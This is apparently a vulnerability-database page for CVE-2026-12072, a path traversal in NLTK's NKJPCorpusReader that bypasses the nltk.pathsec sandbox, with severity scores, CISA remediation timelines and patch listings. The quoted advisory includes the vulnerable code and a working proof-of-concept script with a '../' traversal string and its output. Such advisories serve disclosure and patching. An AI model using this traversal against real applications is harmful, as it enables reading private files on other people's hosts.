CVE-2026-12072

HIGHPre-NVD 7.57.5
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 7.5 from GitHub Security Advisory (severity: HIGH) published 2026-07-31. The CNA's CVSS baseline 7.5; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-6hm5-jgcp-p838 (GitHub Security Advisories)

7.5EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no
normalization or containment check:
def add_root(self, fileid):          # lines 96-102
         if self.root in fileid:
             return fileid                # attacker-controlled value returned unchanged
         return self.root + fileid        # plain concat, '..' not stripped
  • The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin open()):
class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
         def __init__(self, filename, **kwargs):
             XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
  • The other modes reach the filesystem through XML_Tool, which uses a raw
os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
class XML_Tool:                                  # line 243
         def __init__(self, root, filename):
             self.read_file = os.path.join(root, filename)   # line 251
         def build_preprocessed_file(self):
             fr = open(self.read_file)                        # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
   python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
   warnings.simplefilter("ignore")
   import nltk, nltk.pathsec as pathsec
   from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("")

# The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "" "SECRET-API-KEY=sk-live-DEADBEEF" "")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, k: (opened.append(str(f)), real(f, *a, k))[1]

reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real

print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

nltk 3.9.4
   ENFORCE = True
   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF
With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

CVSS v3
7.5
EG Score
7.5HIGHmedium confidence
EG Risk
34
EG Risk 34/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity75% × 45%
Impact severity (EG Severity): CVSS 7.5 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fix is available. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (7.5): severity, escalated by confirmed exploitation. This CVE's 7.5 is its impact severity (EG Severity), not escalated.

EG Severity
7.5 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12072(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
pipnltk @ 3.10.0 (fixes <= 3.9.4)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(4 across 4 ecosystems)
Debian:12(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (9 versions)
  • every version on: no fix on record
—
Debian:13(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (6 versions)
  • every version on: no fix on record
—
Debian:14(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.9.1-2, 3.9.2-1, 3.9.3-1
  • every version up to 3.10.0-1: fixed in 3.10.0-1
—
PyPI(1)
PackageVulnerable rangeFix by version rangeDependents
nltk0.8 ... 3.9b1 (65 versions)
  • every version up to 3.10.0: fixed in 3.10.0
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 2× in last 7d / 8× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:59 UTCGHSA enrichmentGHSA-6hm5-jgcp-p838 · GitHub severity HIGH · GitHub CVSS 7.5
  2. 2026-11-01 07:59 UTCEG score recompute
  3. 2026-10-25 14:50 UTCEG score recompute
  4. 2026-10-18 05:04 UTCEG score recompute
  5. 2026-10-12 16:36 UTCEG score recompute
  6. 2026-10-11 20:12 UTCEG score recompute
  7. 2026-10-11 18:24 UTCEG score recompute
  8. 2026-10-11 14:58 UTCEG score recompute
  9. 2026-09-29 06:49 UTCEG score recompute
  10. 2026-07-31 17:08 UTCEG score recomputeFirst assessed: 7.5 HIGH

Frequently asked(4)

What is CVE-2026-12072?
CVE-2026-12072 is a high-severity vulnerability; its CVE record was published on July 31, 2026. Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True) Summary A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods…
When was the CVE record for CVE-2026-12072 published?
The CVE record for CVE-2026-12072 was published on July 31, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 31, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-12072?
CVE-2026-12072 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-12072?
A fix for CVE-2026-12072 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-12072 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-12072

Explore →

Is Your Infrastructure Affected by CVE-2026-12072?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.